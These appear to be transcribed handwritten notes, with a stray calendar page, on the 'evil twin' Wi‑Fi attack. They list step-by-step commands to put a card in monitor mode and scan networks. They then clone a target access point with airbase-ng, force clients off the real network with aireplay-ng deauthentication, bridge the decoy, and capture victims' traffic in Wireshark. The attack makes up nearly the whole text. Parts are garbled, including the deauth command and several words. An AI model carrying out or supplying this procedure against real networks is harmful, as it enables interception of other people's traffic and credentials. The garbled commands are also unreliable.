EVIL TWIN METHOD

Date .....

Cloning wireless networks., web servers etc.

- Monitor mode.

```
ifconfig wlan0 down
iwconfig wlan0 mode monitor
~~ifconfig wlan0 up~~
airmon-ng check wlan0.
kill
ifconfig wlan0 up.
```

- airodump-ng wlan0.

Get info of what you want.

- airbase-ng -a MAC --essid Name -c Channel wlan0

- Disconnect all from original using aireplay.

Date

--deauth

diseplaying ~~-e~~ 0 -a MAC, wlan0

Now, automatically clients will be deauthenticated from original and reconnected to your deoyed oye.

To get the data :-

- Install bridge-utils.

→ Create new bridge named ghost.

- brctl addbr ghost.

→ Add wlan0 to created bridge.

- brctl addif ~~eth0~~ ghost wlan0.

→ Bridge at0 to your bridge.

- brctl addif ~~eth0~~ ghost at0

MAR 2020

sun	mon	tue	wed	thu	fri	sat
1	2	3	4	5	6	7
8	9	10	11	12	13	14
15	16	17	18	19	20	21
22	23	24	25	26	27	28
29	30	31				

Date

- Change interface state to up:

  → ifconfig at0 0.0.0.0 up.

  → ifconfig ghost up

- Run dhclient.

  → dhclient ghost

⇒ Monitoring traffic.

Install wireshark.

Use wireshark to see traffic (Easy)